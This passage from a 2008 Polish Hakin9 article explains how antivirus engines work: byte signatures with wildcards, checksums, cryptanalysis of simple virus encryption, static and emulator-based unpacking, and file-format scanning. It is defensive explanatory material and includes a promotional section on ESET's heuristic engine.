motywacją była dla nich sława, przecieranie
nie odkrytych jeszcze metod infekcji,

uznanie w wąskim gronie twórców wirusów i w
oczach producentów programów antywirusowych.
Sytuacja ta trwała przez ponad 15 lat i w roku
2002 powstały najbardziej skomplikowane wirusy
metamorficzne, będące podsumowaniem tego
okresu. Ze względu na pełną zmienność miały
stanowić Wunderwaffe, którą autorzy wirusów
pokonają ostatecznie programy antywirusowe.
Tak się jednak nie stało. Twórcy silników
antywirusowych podnieśli rzuconą rękawicę
i wkrótce powstały nowe wersje programów,
potrafiące identyfikować kod metamorficzny.
Pokonanie ostatecznej broni osłabiło morale
przeciwników. Na ten okres nałożyło się kilka
spektakularnych medialnie aresztowań i część
ludzi tworzących wirusy wycofała się ze sceny.
Kolejne dwa lata można uznać za spokojne. Mimo
kilku masowych infekcji (np. robaka Blaster) nie
nastąpił wśród pojawiających się zagrożeń wielki
skok technologiczny. Dopiero w roku 2004, gdy
pojawił się robak Mydoom, a za nim Netsky i
Bagle, spokój został zakończony. Nie ze względu
na nowe techniki ataku, ale ze względu na inną
motywację. Od tego roku czynnikiem motywującym
stały się pieniądze, które przyciągnęły dziesiątki, a z
czasem setki nowych twórców niebezpiecznego
oprogramowania. Przed twórcami silników
antywirusowych pojawiło się nowe zadanie:
sprostać powodzi ataków.

JAKUB DĘBSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jakie techniki i algorytmy

wykrywania zagrożeń

stosowane są w programach

antywirusowych.

CO POWINIENEŚ

WIEDZIEĆ

powinieneś posiadać

podstawową wiedzę na temat

asemblera x86,

powinieneś znać popularne

algorytmy wyszukiwania,

powinieneś znać budowę plików

wykonywalnych.

Sygnatury

Do wykrywania niebezpiecznego oprogramowania
silniki antywirusowe wykorzystują różne techniki.
Każda powstała jako odpowiedź na nowe
zagrożenie. Choć pierwszymi niebezpiecznymi
programami były konie trojańskie, rozgłos zdobyły
dopiero wirusy komputerowe potrafiące się
replikować. Wirusy początkowo były prostym
kodem nadpisującym pliki lub sektory startowe
dyskietek. Z czasem metoda ataku została
ulepszona i oryginalny kod wykonywał się po
zakończeniu działania wirusa, czyniąc działanie
wirusa niezauważanym. Do wykrywania prostych
wirusów zastosowano sygnatury. Sygnaturą
niebezpiecznego programu jest ciąg bajtów, który
jednoznacznie go identyfikuje. Ciąg ten powinien być
wystarczająco długi, aby nie powodował fałszywych
alarmów. Prawdopodobieństwo fałszywego
alarmu można ograniczyć wybierając sygnaturę
z fragmentu odpowiedzialnego za niebezpieczną
akcję, np. infekcję pliku. Jeżeli autor wirusa wykorzysta
tę samą procedurę infekcji w innym wirusie,
sygnatura taka będzie w stanie go wykryć.

Wybierane sygnatury mogą zawierać

wieloznaczniki (ang. wildcards), które odpowiadają
za dowolny bajt. W sygnaturach opisujących wirusy
asemblerowe dowolnymi bajtami były miejsca,
w których wirus przechowywał zmienne lokalne.
W przypadku sygnatur z kodu wygenerowanego
w językach wysokiego poziomu, wieloznaczniki
wykorzystuje się do pominięcia zmiennych
argumentów instrukcji procesora, zależnych od

Stopień trudności

Programy

antywirusowe

od środka

Dziś programy antywirusowe nie są tym, czym były pierwotnie.

Oprócz wirusów komputerowych wykrywają całą gamę zagrożeń,

wliczając w to konie trojańskie, oprogramowanie szpiegujące,

exploity, phishing, a nawet spam. Choć zagrożenia bywają całkiem

różne, do ich badania wykorzystywane są podobne techniki.

background image

43

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

HAKIN9

4/2008

umiejscowienia kodu i danych w pamięci. Na
Listingu 1. wieloznaczniki oznaczone są za
pomocą ‘??’.

Niektóre wirusy w ramach walki ze

skanowaniem sygnaturami pomiędzy
swoje instrukcje dodawały nic nierobiące
instrukcje. Do wykrycia takich wirusów można
zastosować wieloznaczniki odpowiadające za
0-n bajtów, ale zwykle nie są one stosowane,
gdyż spowalniają algorytm wyszukiwania.
Można je zastąpić większą liczbą prostych
sygnatur.

Choć technika wyszukiwania

sygnaturami jest prymitywna, wciąż jest
szeroko stosowana przez niektóre firmy
antywirusowe. W jej implementacji firmy
stosują wszystkie użyteczne algorytmy
z zakresu dopasowywania wzorców,
wykorzystujące najczęściej deterministyczne
i niedeterministyczne automaty skończone,
algorytmy słownikowe i drzewa poszukiwań.
Zarówno dobór sygnatur jak i same algorytmy
optymalizowane są według zastosowań.
Przykładowo w plikach wykonywalnych
najczęściej pojawiającym się bajtem jest
0, więc nie ma sensu zaczynać sygnatur
od tego bajta, gdyż byłby on zbyt często
dopasowywany.

Warto obalić jeden z mitów popularnych

wśród użytkowników. Zwiększanie bazy
zagrożeń nie wpływa drastycznie na
szybkość skanowania przez program
antywirusowy. Twórcy silników antywirusowych
stosują algorytmy działające w czasie
logarytmicznym, dzięki czemu zwiększenie
liczności bazy zagrożeń na przykład z
300 tysięcy do 400 tysięcy spowoduje
kilkuprocentowy spadek szybkości
skanowania. Należy jednak pamiętać, że
każda sygnatura jest związana z nazwą i
niekiedy procedurą leczącą, co powoduje
szybki wzrost wielkości bazy. Z tego powodu
część firm wykorzystuje sygnatury generyczne,
pokrywające całą rodzinę zagrożeń.

Sumy kontrolne

Sygnatury, aby nie powodowały fałszywych
alarmów, muszą mieć długość
zapewniającą uniknięcie kolizji. W przypadku
programów pisanych w językach wysokiego
poziomu sygnatury binarne muszą być
bardzo długie, gdyż kod generowany
przez kompilator jest podobny. Każdy
kompilator stosuje określone konstrukcje,
które pojawiają się w zarówno dobrych jak
i niebezpiecznych programach. Ponieważ

przechowywanie długich wzorców wymaga
dużej ilości pamięci, autorzy programów
antywirusowych sygnatury zastępują
sumami kontrolnymi.

Sumy kontrolne tworzone są za pomocą

powszechnie stosowanych funkcji skrótu
(ang. hash functions), takich jak MD5 czy
CRC, lub za pomocą funkcji stworzonych
od podstaw dla uzyskania lepszej
efektywności. W najprostszym przypadku
sumy kontrolne obliczane są z całego
pliku. Podejście to wydaje się naiwne, lecz
jest efektywne w wykrywaniu zagrożeń
spowodowanych zmianami wprowadzonymi
w plikach dobrych. Część niebezpiecznego
oprogramowania modyfikuje jeden lub kilka
bajtów w pliku systemowym wyłączając
ochronę lub umożliwiając wyexploitowanie
go po stworzeniu procesu. Do czasu
systemu Windows Vista większość
oprogramowania (nawet pochodzącego
od Microsoftu) nie była podpisana cyfrowo,
więc tak niewielkie zmiany trudno było
wykryć innymi metodami.

Obliczanie sum kontrolnych zwykle

nie sprowadza się do naiwnego
przetworzenia kolejnych bajtów. W
przypadku sum kontrolnych uzyskiwanych
z sekcji kodu zwykle wykorzystuje się
dezasemblację i jak przy sygnaturach
pomija bajty odpowiedzialne za zmienne
argumenty instrukcji. W przypadku sum
kontrolnych z początku pliku (zwykle
nagłówek określonego formatu) pomija
się niewykorzystywane pola, które po
zmianie nie wpłyną na działanie pliku (na
Rysunku 1. oznaczone kolorem żółtym). W
przypadku skryptów pomijane są białe znaki
i komentarze.

Twórcy niebezpiecznego oprogramowania

wprowadzają do plików modyfikacje, aby
oszukać skanowanie sumami kontrolnymi.
Czasami proces modyfikacji przebiega w
sposób automatyczny, na przykład podczas
instalacji oprogramowania w systemie
lub podczas pobierania pliku z serwera
HTTP. Oprócz zmian nagłówka pliku często
używanym trikiem jest dopisywanie bajtów na
końcu pliku lub w niewykorzystanej przestrzeni
w środku pliku.

Problemem, który pojawia się przy

sumach kontrolnych, jest znalezienie
właściwego początku dla liczenia sumy.
Oprócz oczywistych miejsc takich jak
początek pliku czy punkt wejścia programu
występują sytuacje, na przykład podczas
emulacji, w których startu nie można
jednoznacznie określić. Obliczanie sum
kontrolnych z obszarów zaczynających
się od kolejnych bajtów może być
powolne. Z pomocą przychodzą funkcje
skrótu przesuwnego (ang. rolling hash),
wykorzystywane np. w algorytmie Rabina-
Karpa, które umożliwiają wyliczenie nowej
wartości funkcji za pomocą kolejnego bajta i
pierwszego bajta kontrolowanego obszaru.

Zwykle do identyfikacji zagrożenia

stosowane jest kilka sum kontrolnych lub
dopasowanie sumy kontrolnej po tym, gdy
zostanie dopasowana sygnatura.

Metody algorytmiczne

Powyższe metody sprawdzają się
w przypadku najpopularniejszego
niebezpiecznego oprogramowania, czyli
prostego oprogramowania tworzonego przez
laików. Osoba posiadająca odpowiednie

Listing 1.

Przykładowa sygnatura z

wieloznacznikami

53

push

ebx

8BD8

mov

ebx,eax

33C0

xor

eax,eax

A3????????

mov

[

00404084

]

,eax

6A00

push

000

E8????????

call

GetModuleHandleA
;kernel32

A3????????

mov

[

00405650

]

,eax

A1????????

mov

eax,

[

00405650

]

A3????????

mov

[

0040408C

]

,eax

33C0

xor

eax,eax

Sygnatura:

538BD833C0A3????????6A00E8????????A3

????????A1????
????A3????????
33C0

Rysunek 1.

Pola nagłówka PE, które

mogą zostać zmienione bez wpływu na

uruchomienie programu

background image

OBRONA

44

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

45

HAKIN9

4/2008

umiejętności może obejść wykrywanie
sygnaturami za pomocą polimorfizmu lub
metamorfizmu, może utrudnić znalezienie
początku wirusa za pomocą EPO (patrz
Ramka), może również próbować zintegrować
kod wirusa z nosicielem.

Do wykrycia tak stworzonego

niebezpiecznego oprogramowania
wykorzystuje się wyspecjalizowane
algorytmy. Tworzenie ich przypomina pracę
detektywa: analizujemy miejsce zbrodni
(plik) i patrzymy, gdzie jej autor popełnił błąd.
Algorytmy identyfikujące zagrożenie muszą
być niezawodne, ale też szybkie. Ten drugi
warunek może być spełniony właśnie dzięki
przeoczeniom popełnionym przez zbrodniarzy.
Błędem najczęstszym jest zmiana
charakterystyki pliku, będąca specyficznym
odciskiem palca pozostawionym podczas
ataku. Dzięki niemu możemy stwierdzić, czy
analizowany plik posiada cechy wspólne
z zagrożeniem. Choć sam odcisk nie jest
wystarczający do identyfikacji, jest podstawą
przejścia do fazy dokładnej analizy. Jeżeli
nie występuje, kończymy w tym momencie
sprawdzanie. Przykładowymi odciskami
palca są określone rozmiary i atrybuty sekcji,
entropia lub rozkład statystyczny w wybranych
obszarach pliku, nazwy sekcji niewystępujące
w normalnych plikach czy też punkt wejścia
programu ustalony na sekcję danych.

Autorzy wirusów komputerowych zawsze

popełniali błędy. W ciągu dwudziestu lat
nie pojawił się wirus, którego nie dałoby się
szybko wykryć, choć należy liczyć się z tym,
że w przyszłości może się pojawić. Autorzy
niebezpiecznego oprogramowania wciąż
próbują i niektóre słabsze technologicznie
silniki antywirusowe nie są w stanie wykryć
skomplikowanych wirusów. Właśnie z powodu
niewykrycia będącego na wolności wirusa

Virut wiele programów nie uzyskało w grudniu
certyfikatu Virus Bulletin 100.

Metody kryptoanalityczne

Zarówno wirusy infekujące pliki jak i protektory
plików wykonywalnych (np. ASProtect, Yoda
czy Armadillo) do ukrycia kodu wykorzystują
szyfrowanie. Jedną z metod stosowanych
przez programy antywirusowe do uzyskania
odszyfrowanego kodu są metody
kryptoanalityczne. Sprawdzają się wtedy, gdy
algorytm szyfrujący jest najsłabszym punktem
obrony w niebezpiecznym oprogramowaniu.

Najczęściej używaną metodą ukrywania

kodu jest wykorzystanie prostych operacji typu
xor, add, sub na kolejnych bajtach, słowach
lub podwójnych słowach. Ich złamanie jest
banalne i program antywirusowy jest w stanie
zrobić to w ułamku sekundy. Przykładowo dla
funkcji

xor

, gdy

c xor k = p,

to

p xor c

= k

. Jeżeli

p

jest naszym tekstem jawnym

(tu wirusem odszyfrowanym, który znamy)
zaś

c

jest postacią zaszyfrowaną, to w łatwo

możemy znaleźć klucz

k

. Jeżeli klucz jest stały

lub modyfikowany prostym algorytmem, to nic
nie stoi na przeszkodzie, aby odszyfrować nim
resztę zaszyfrowanego obszaru.

W przypadku wirusów polimorficznych

tekstem jawnym jest część odszyfrowana. W
przypadku protektora pliku wykonywalnego
tekstem jawnym mogą być wybrane bajty z
nagłówka pliku, znane funkcje biblioteczne
kompilatora, czy charakterystyczne cechy
sekcji zasobów. Wykorzystywana jest każda
informacja, która może zostać wybrana jako
tekst jawny.

Sprawa komplikuje się w przypadku

algorytmów szyfrujących generowanych w
sposób losowy. Najczęściej wykorzystywanym
zestawem operacji szyfrujących są prosto
odwracalne xor, add, sub, rol, ror, którymi

modyfikowany jest też klucz. Przykładowa
procedura szyfrująca jednego z wirusów
polimorficznych wygląda następująco (

k

jest kluczem,

v

losową wartością,

op

losowo

wybraną operacją):

c[i] = p[i] op1 v1
k = k op2 v2
c[i] = c[i] op3 k

Odszyfrowanie danych w tym przypadku
jest bardziej skomplikowane obliczeniowo,
gdyż wymaga sprawdzenia permutacji
operacji, ale wciąż jest możliwe do zrobienia w
akceptowalnym czasie.

Metody kryptoanalizy przestają być

skuteczne w przypadku kryptografii z silnym
algorytmem szyfrującym. Ponieważ źródła
takich algorytmów są ogólnie dostępne
silne algorytmy są coraz częściej używane
w niebezpiecznym oprogramowaniu.
Na szczęście dla użytkowników w wielu
przypadkach są użyte w sposób niepoprawny,
wynikający z niewiedzy lub nie doczytania
dokumentacji, dzięki czemu możliwe jest ich
złamanie.

Odpakowanie statyczne

Kiedy niebezpieczne oprogramowanie zaczęto
tworzyć w językach wysokiego poziomu
większość autorów przestała skupiać się na
tworzeniu zabezpieczeń przed jego analizą.
Nie miało to sensu, ponieważ na rynku
dostępnych było wiele narzędzi spełniających
to zadanie. Niektóre z tych narzędzi były na
tyle silne, że nie potrafiły poradzić sobie z nimi
programy antywirusowe. Ich zaletą było też to,
że w tak zabezpieczonym pliku nie można było
wykrywać samego zabezpieczenia, ponieważ
zabezpieczenie używane było też w dobrym
oprogramowaniu. Autorzy antywirusów musieli
znaleźć rozwiązanie problemu w sytuacji, w
której nie zawsze pomagała kryptoanaliza.

Jednym ze sposobów poradzenia sobie

z protektorami plików wykonywalnych jest
odpakowanie statyczne, czyli przeanalizowanie
algorytmów protektora i przygotowanie
specjalnych procedur odpakowujących w
silniku antywirusowym.

Na początku należy protektor

zidentyfikować. Do identyfikacji można
wykorzystać skanowanie sygnaturami lub,
w przypadku protektorów polimorficznych,
mechanizmy służące do identyfikacji wirusów
polimorficznych. Protektory w większości
przypadków działają na takiej samej zasadzie

Terminologia

Polimorfizm – technika ukrywania algorytmu poprzez zastąpienie oryginalnych instrukcji

wykonujących algorytm równoważnymi instrukcjami. Jedna instrukcja może być zastąpiona
dowolną liczbą instrukcji dających identyczny efekt. Polimorfizm jest używany w celu ukrycia
algorytmu odszyfrowującego oryginalny kod, który zostanie następnie uruchomiony.

Metamorfizm – technika podobna do polimorfizmu. Każda instrukcja oryginalnego kodu jest

zastępowana dowolną liczbą instrukcji dających równoważny efekt. Ponieważ ukrywany jest
algorytm oryginalnego kodu, nie jest potrzebne dodatkowe szyfrowanie go.

EPO – z ang. EntryPoint Obscuring – ukrywanie punktu wejścia. Wirus infekując plik musi

w pewnym momencie zostać wykonany. Proste wirusy uruchamiają się wraz ze startem
nosiciela. Technika EPO polega na przekazaniu sterowania do wirusa w innym momencie
działania programu-nosiciela, na przykład zamiast wywołania funkcji API. W ten sposób
program antywirusowy nie może stwierdzić, w którym miejscu zaczyna się wirus.

background image

OBRONA

44

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

45

HAKIN9

4/2008

jak wirusy polimorficzne – dodają warstwę
zabezpieczającą oryginalny kod, zaś kod
oryginalny pozostaje niezmieniony.

Kiedy rozpoznamy konkretny protektor

możemy uruchomić procedurę zdejmującą
zabezpieczenie. Procedura taka musi być
napisana na podstawie analizy konkretnego
protektora, co ma liczne wady. Po pierwsze,
jeżeli nie znamy silnika zabezpieczającego,
nie możemy zabezpieczenia zdjąć. Do czasu,
aż otrzymamy przynajmniej kilka próbek,
nie możemy być pewni zasady działania
protektora. Po drugie, odpakowanie statyczne
jest wrażliwe na modyfikacje wprowadzone w
zabezpieczonym pliku. Drobna modyfikacja
sygnatury może spowodować, że kod nie
zostanie rozpakowany. Drobna modyfikacja
wygenerowanego kodu może spowodować
błędne odpakowanie. Po trzecie, wiele z
dostępnych protektorów posiada otwarte
źródła, więc nie jest problemem zmienić
sam algorytm zabezpieczenia. Po
zmianie algorytmu statyczna procedura
odbezpieczająca przestanie działać, gdyż
próbuje odpakować nieobsługiwany protektor.
Jeżeli nie możemy zdjąć zabezpieczenia,
to atakujący może w prosty sposób
wygenerować niewykrywalny wariant swojego
programu poprzez użycie tego protektora.

Odpakowanie dynamiczne

W programach antywirusowych emulatory
zostały stworzone jako odpowiedź na
wirusy polimorficzne. Do dzisiaj są
najskuteczniejszym sposobem radzenia sobie
z nimi, ale używane są także do odpakowania
protektorów. Odpakowanie z wykorzystaniem
protektora nazywane jest odpakowaniem
dynamicznym.

Program emulowany uruchamiany jest

bezpiecznym, symulowanym środowisku.
Proces emulacji zwykle zaczyna się od punktu
wejścia i przebiega do czasu znalezienia
sygnatury niebezpiecznego programu, do
czasu, aż emulator stwierdzi, że wykonywany
program jest bezpieczny, lub do czasu
wyczerpania zasobów.

Emulator może zostać wykorzystany

do odszyfrowania zaszyfrowanego kodu
niezależnie od złożoności szyfru. Zwykle
nie jest problemem dostarczenie zasobów
w postaci pamięci, ponieważ taką ilość
pamięci potrzebuje zabezpieczony program
do uruchomienia. Problemem jest jednak
szybkość emulacji. Na emulowanym systemie
jest ona od kilkudziesięciu do kilkuset razy

mniejsza niż w rzeczywistego działania. Jedną
ze skuteczniejszych metod przyspieszenia
emulacji jest tłumaczenie dynamiczne
(ang. dynamic translation), spotykane w
kompilatorach JIT. Każda instrukcja, zamiast
być interpretowaną, jest tłumaczona na
bezpieczną wersję wykonywaną na aktualnym
procesorze.

Budowa emulatora

Emulator programu antywirusowego
składa się z następujących elementów:

Emulator procesora – Do typowych zadań

emulatora procesora należy rozkodowanie
instrukcji wskazywanej przez wskaźnik EIP,
wykonanie kodu zależnego od instrukcji
i zapamiętanie wyników. Następnie EIP
jest zwiększany tak, aby wskazywał na
kolejną instrukcję. Ponieważ protektory
coraz częściej wykorzystują sterowniki
pracujące w trybie jądra, konieczne staje
się emulowanie instrukcji działających też
w tym trybie.

Emulowany procesor musi posiadać

pełną informację na temat stanu rejestrów
ogólnego przeznaczenia, segmentowych,
debugowania, flag i wskaźnika
instrukcji. Wiele protektorów używa
instrukcji koprocesora, MMX, SSE, więc
konieczne jest przechowywanie stanów
wykorzystywanych też przez nie.

Menadżer pamięci – Menadżer pamięci

musi odpowiadać istniejącemu w
systemie. Każdy obszar pamięci składa
się z ciągłej listy stron. Każda strona
posiada opis zabezpieczeń i alokacji.
W przypadku naruszenia zabezpieczeń
lub próby uzyskania dostępu do
nieprzydzielonej pamięci menadżer
pamięci musi wygenerować wyjątek.
Menadżer pamięci dba o przydzielanie
pamięci na stercie i zarządza stosem.

Ładowanie procesu – Na podstawie

nagłówka pliku wykonywalnego konieczne
jest stworzenie procesu w pamięci. Każda
wersja systemu tworzy proces w inny
sposób i przed autorem silnika pozostaje
wybranie, którą wersję emulować. Do
standardowych zadań przy ładowaniu
procesu zaliczają się: przydział pamięci
i skopiowanie sekcji, ustalenie atrybutów
pamięci, załadowanie emulowanych
bibliotek, wypełnienie tablicy importów (IAT),
zaaplikowanie relokacji.

Przy ładowaniu procesu konieczne

jest ustalenie środowiska procesu
(Process Environment Block) na zgodny
z systemem. Jest to konieczne, ponieważ
wiele protektorów korzysta z informacji w
nim zawartych np. do sprawdzenia, czy
proces nie jest debugowany.

Ponieważ system Windows posiada

mało restrykcyjny loader, możliwe jest
takie zmodyfikowanie pliku PE, że wciąż
będzie uruchamiany w systemie Windows,
zaś wiele emulatorów stwierdzi, że plik
nie posiada poprawnego formatu.
Przykładowo wiele pół nagłówka nie jest
wykorzystywana lub wykorzystywana
jest w sposób odmienny od specyfikacji
(Rysunek 1).

Emulacja pamięci bibliotek – Przy

tworzeniu procesu lub wywołaniu funkcji

LoadLibrary

konieczne jest wczytanie

do pamięci procesu zewnętrznej biblioteki.
Biblioteka taka musi być emulowana
w sposób jak najpełniejszy (wraz z jej
strukturą w pamięci), ponieważ niektóre
protektory szukają adresów funkcji
eksportowanych bezpośrednio w
bibliotece, za pomocą mniej lub bardziej
wyrafinowanych metod.

Emulacja wątków – Ponieważ wiele

zabezpieczeń wykorzystuje kilka
działających jednocześnie wątków,
konieczne stało się emulowanie
przełączania kontekstu. Ponieważ wiele
wątków w protektorach nie uczestniczy
bezpośrednio w procesie rozpakowania,
konieczne jest stworzenie dobrego
mechanizmu ich szeregowania, aby
wykonywały się głównie wątki mające
znaczenie.

Emulacja przerwań – Emulacja przerwań

była głównie wykorzystywana przy
emulacji trybu rzeczywistego procesora
w czasach wirusów DOSowych.
System Windows w trybie użytkownika
uniemożliwia wołanie większości z nich,
najczęściej rzucając wyjątek.

Emulacja wyjątków – Strukturalna obsługa

wyjątków (ang. Structural Exception
Handling)
jest jedną z najpopularniejszych
metod ukrywania ścieżki wykonania.
Funkcje obsługi wyjątków są ustalane,
następnie wywoływany jest wyjątek,
który powoduje przejście do innego
miejsca w kodzie. Ponieważ wyjątek
może być spowodowany na wiele
sposobów (np. niedozwolony dostęp do
pamięci, przerwanie, dzielenie przez zero,

background image

OBRONA

46

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

47

HAKIN9

4/2008

przepełnienia arytmetyczne), konieczne
jest emulowanie każdego z nich. W
nowych wersjach systemu Windows
istnieje również Vectored Exception
Handling
, który jest w protektorach rzadko
używany.

Emulacja API – Protektory plików, aby

utrudnić debugowanie wywołują szeroką
gamę funkcji API. Poczynając od
najprostszych jak IsDebuggerPresent po
tak oryginalne jak GetProcessAffinityMask.
Tworzenie emulatora wymaga
implementowania jak największej liczby
używanych funkcji, choć na szczęście
większość z nich może zwracać wartości
domyślne. Często wartości zwracane
przez wywoływane funkcje nie są nigdzie
wykorzystywane. Ponieważ protektory
używają niekiedy nieudokumentowanych
funkcji Native API, konieczna jest emulacja
również tego poziomu.

Emulacja komunikatów – Jeżeli emulator

ma służyć nie tylko do odpakowania pliku,
ale też do analizy behawioralnej, konieczne
jest dodanie emulacji i przetwarzania
komunikatów. Przykładowym
komunikatem, który trzeba zasymulować,
jest naciśnięcie klawisza [Enter] lub
aktywacja okna (ustalenie focusu).

Emulacja środowiska zewnętrznego

– Do analizy behawioralnej konieczne
jest zaimplementowanie zewnętrznego
środowiska procesu. Wiele infektorów
plików może zostać wykrytych jedynie,
gdy są w stanie zainfekować plik,
wiele robaków można wykryć według
komunikacji sieciowej, wiele koni
trojańskich dodaje się w rejestrze jako
Browser Helper Object. Aby możliwe
było wykrycie takich akcji konieczne
jest stworzenie wirtualnego systemu
operacyjnego, posiadającego systemu
plików, rejestr i dostęp do sieci. Im więcej
elementów zewnętrznych zostanie
zaimplementowanych (np. wirtualny serwer
HTTP lub IRC), tym skuteczniejsza staje się
heurystyka.

Zastosowanie emulacji do odpakowania
likwiduje wszystkie problemy, które występują
w przypadku statycznego odpakowania. Wiele
programów antywirusowych nie posiada
jednak dobrze zaimplementowanego
emulatora, przez co nie radzi sobie z
protektorami plików wykonywalnych. Jest tak,
ponieważ stworzenie pełnego emulatora

komputera z systemem operacyjnym, jest
zadaniem skomplikowanym, czasochłonnym
i żmudnym. Emulator wymaga zespołu
ludzi stale pracującego nad nim, ponieważ
protektory używają coraz to nowszych
sztuczek i wykorzystują coraz więcej funkcji API,
które trzeba symulować.

Wykrywanie protektorów

Wiele firm antywirusowych nie będąc w stanie
przedostać się przez warstwy zabezpieczeń
jedynie informuje o nich użytkownika. Z
jednej strony jest to rozwiązanie dobre,
ponieważ wykrywa wszystkie tak chronione
niebezpieczne oprogramowanie. Z drugiej
strony powoduje fałszywe alarmy, gdyż
niektóre firmy wykorzystują protektory jako
zabezpieczenie przed crackerami. Większość
komercyjnych zabezpieczeń wymaga
maksymalnie kilku dni pracy dobrego
crackera, żeby zabezpieczenie złamać. Można
być pewnym, że jeżeli aplikacja jest tego
warta, to zostanie złamana. Jeszcze niedawno
stosunek zabezpieczonego malware do
zabezpieczonego dobrego oprogramowania
wynosił 10:1. Aktualnie wynosi on ponad 1000:
1. Wykrywanie samych zabezpieczeń wydaje
się więc dobrym pomysłem, ale sytuacja
komplikuje się w przypadku zdobywającego
popularność .NET, gdzie obfuscatory są
cenione i stosowane od dawna ze względu
na łatwość dekompilacji pierwotnego kodu.

Analiza

behawioralna i jej przyszłość

Wiele programów antywirusowych oprócz
analizy behawioralnej podczas emulacji
stosuje analizę behawioralną w działającym
systemie. Jest to standardowy element HIPS
(Host Based Intrustion Prevention System). Ze
względu na istnienie Kernel Patch Protection
w systemie Windows Vista wykrywanie
intruzów tym sposobem zostało mocno
ograniczone. Przyszłością wydaje się być
wirtualizacja stosowana w procesorach
(AMD-V, ITV), którą można zastosować ją na
jeden z trzech sposobów:

• Cały system jest uruchamiany w

wirtualnym środowisku i nadzorowany,

• Tworzony jest wirtualny komputer

(sandbox), w którym program przed
uruchomieniem jest analizowany
behawioralnie,

• Każdy proces działa w wirtualnym

środowisku i jego akcje przenoszone

są do środowiska rzeczywistego w
momencie, kiedy program nadzorujący
stwierdzi ich bezpieczność.

Heurystyka

Metody heurystyczne umożliwiają wykrycie
wariantu znanego zagrożenia lub – w
swojej najbardziej rozwiniętej postaci
– również zidentyfikowanie zupełnie
nowego zagrożenia. Heurystyka, czyli
ochrona proaktywna, została dokładniej
opisana w styczniowym numerze Hackin9.
Zainteresowanych tematem odsyłam do
tego numeru.

Ze stosowania zaawansowanych

metod heurystycznych najbardziej znany
jest silnik programu NOD32 Antivirus firmy
ESET, czyli silnik ThreatSense®. Należy
podkreślić, że metody heurystyczne,
stosowane przez firmę ESET mocno
różnią się od typowych, prostych
heurystyk. Silnik ThreatSense® stosuje
zaawansowaną heurystykę łączącą
pełną emulację systemu z analizą
behawioralną, statyczną analizą kodu i
wzorcami generycznymi. Uzyskane dane
są klasyfikowane za pomocą algorytmów
sztucznej inteligencji niespotykanych w
innych programach antywirusowych, ale
wykorzystywanych np. w badaniach nad
ludzkim genomem. Kod tych algorytmów
został zoptymalizowany do pracy z
niebezpiecznymi plikami, w których
różnorodność danych jest znacznie
większa niż ACGT łańcucha DNA. Siłę tych
algorytmów potwierdzają testy heurystyk
programów antywirusowych, w których
ESET NOD32 Antivirus uzyskuje ponad
70% wykrywalność nowych zagrożeń nie
powodując fałszywych alarmów. Testy
ochrony proaktywnej przeprowadza m.in.
austriacki ośrodek AV-Comparatives
(www.av-comparatives.org).

Skanowanie

formatów plików

Programy antywirusowe nie przetwarzają
całych plików, gdyż byłoby to zbyt wolne.
W większości przypadków nie operują
też na bajtach, gdyż jest to zbyt niski
poziom abstrakcji, aby możliwe było
przeprowadzenie skutecznych analiz.
Silniki programów antywirusowych muszą
znać strukturę pliku, na którym operują i
skanować go różnie, w zależności, czy jest to
plik formatu exe, archiwum zip czy kod html.

background image

OBRONA

46

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

47

HAKIN9

4/2008

Możemy wyróżnić główne kategorie

formatów przetwarzanych obiektów:

• pliki wykonywalne (np. com, dos exe, pe

exe, elf ),

• pliki wykonywalne z kodem pośrednim

(Visual Basic, MSIL, Java),

• pliki skryptowe (vbs, bat, sh, html),
• protokoły sieciowe (http, ftp, icq, msn),
• kontenery, w których są osadzone inne

obiekty:
• archiwa (zip, rar, tgz),
• instalatory (Wise, NSIS),
• obiekty OLE (doc, ppt, xls),
• pliki poczty, skrzynki pocztowe

(mbox, dbx, pst, msg, tnef ),

• obrazy płyt (iso, mds, nrg),
• zasoby plików wykonywalnych,
• pliki pomocy,
• pliki urządzeń mobilnych (sis),
• kontenery wieloplikowe (rar, r01, r02...),
• inne kontenery.

Największym problemem, w przypadku
parsowania formatów plików są zamknięte
źródła o niedostępnej specyfikacji... ale
też otwarte źródła, które każdy może
zmodyfikować. O ile w przypadku zamkniętej
specyfikacji praca wymaga inżynierii
wstecznej, niekiedy będącej na pograniczu
prawa, to możemy być pewni, że autor dla
własnej wygody trzyma się opracowanego
przez siebie standardu. Otwarte źródła (na
przykład instalatora NSIS) powodują, że
każdy może wprowadzić do niego zmiany,
przez co powstałych wariantów formatów
są dziesiątki. W efekcie każdy wariant jest
formatem zamkniętym i firma antywirusowa
musi ponownie skorzystać z inżynierii
wstecznej.

W przypadku udostępnienia przez

producenta specyfikacji nie zawsze można
na niej polegać, gdyż implementacja w
programie producenta nie zawsze jest z nią
zgodna. Powoduje to występowanie luźnych
formatów, które mimo licznych modyfikacji
wciąż są interpretowane bez zgłaszania
błędów. Luźne formaty plików lub ich
całkowity brak (jak jest w przypadku języków
skryptowych), powodują liczne komplikacje
i spowalniają działanie programów
antywirusowych. Program antywirusowy nie
może z ich powodu stwierdzić, że plik na
pewno nie jest danego formatu, więc musi
zostać przeskanowany pod kątem zagrożeń
występujących w tym formacie.

Skanowanie formatów plików ściśle

związane jest z wykrywaniem exploitów.
Plik niespełniający wymagań specyfikacji w
wielu przypadkach umożliwia przepełnienie
bufora lub inny atak na aplikację. Ponieważ
producenci oprogramowania dostarczają
łaty z opóźnieniem, a część użytkowników
chce być chroniona nawet bez aktualizacji
oprogramowania, na barkach twórców
antywirusów spoczywa zadanie wykrywania
błędów w plikach i protokołach sieciowych.

Kolejnym problemem jest kodowanie.

Dane mogą być zakodowane na wiele
sposobów (UNICODE, UTF, BASE64,
UUENCODE, BINHEX) i każdy z nich program
antywirusowy musi sprowadzić do postaci
znormalizowanej. W przypadku plików
binarnych występują różnice kodowania
kolejności bajtów na różnych procesorach.

Innym problemem, bardzo trudnym do

obejścia, są formaty szyfrowane hasłem
dostarczanym użytkownikowi drogą
zewnętrzną. Hasła stosowane w archiwach
wysyłanych pocztą elektroniczną trafiają do
użytkownika w formie obrazka lub tekstu.
Można próbować wykorzystać słowa listu
do odszyfrowania archiwum, można łamać
